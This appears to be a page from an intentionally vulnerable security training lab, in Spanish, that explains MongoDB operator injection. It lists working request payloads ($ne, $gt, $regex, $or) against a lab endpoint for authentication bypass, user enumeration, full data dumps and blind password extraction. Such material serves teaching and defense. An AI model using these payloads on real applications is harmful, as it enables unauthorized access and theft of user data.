CRITICAL

NoSQL Injection — MongoDB operator injection

Inyección de operadores MongoDB ($ne, $gt, $regex) en parámetros de consulta para bypassear autenticación y extraer datos arbitrarios

Ejemplos de explotación:

Ver documentación del lab

Descripción de ataques y endpoints disponibles

/api/lab/nosql
Auth bypass — $ne (not-equal)

password={"$ne":"wrong"} — cualquier password != 'wrong' → acceso como admin

/api/lab/nosql?username=admin&password={"$ne":"wrong"}
Auth bypass — $gt (greater-than)

password={"$gt":""} — password mayor que cadena vacía es siempre verdadero

/api/lab/nosql?username=admin&password={"$gt":""}
Auth bypass — username $regex match-all

Combinar regex en username con $ne en password para acceder con cualquier usuario

/api/lab/nosql?username={"$regex":".*"}&password={"$ne":""}
Enumeración — usuarios con regex ^a

Listar usuarios cuyo nombre comienza por 'a' usando $regex blind character-by-character

/api/lab/nosql?username={"$regex":"^a"}&password={"$ne":""}
Enumeración — usuarios activos ($regex.*)

Obtener todos los usuarios activos usando operador en campo 'active'

/api/lab/nosql?filter={"active":true}
Dump completo — $ne imposible

Filtro {role:{$ne:"impossible"}} devuelve todos los documentos de la colección

/api/lab/nosql?filter={"role":{"$ne":"impossible"}}
Filtro OR — admins o activos

Inyectar condición $or para extraer usuarios por múltiples criterios

/api/lab/nosql?filter={"$or":[{"role":"admin"},{"active":true}]}
Blind NoSQL — extraer password char a char

Técnica de extracción blind: password={"$regex":"^s"} para confirmar primer carácter del hash

/api/lab/nosql?username=admin&password={"$regex":"^s"}

Vulnerabilidad Crítica

MongoDB y otras bases de datos NoSQL permiten usar operadores especiales ($ne, $gt, $gte, $regex, $where, $or) dentro de las queries. Si la aplicación pasa los parámetros HTTP directamente al driver sin validar su tipo, un atacante puede inyectar objetos JSON con operadores en lugar de strings, bypasseando comparaciones de contraseña. Con $regex puede enumerar registros carácter a carácter (blind NoSQL). OWASP A03:2021 — CVSS 9.8.

Esta aplicación es vulnerable por diseño - Solo para propósitos educativos

© 2025 Aitana Security Lab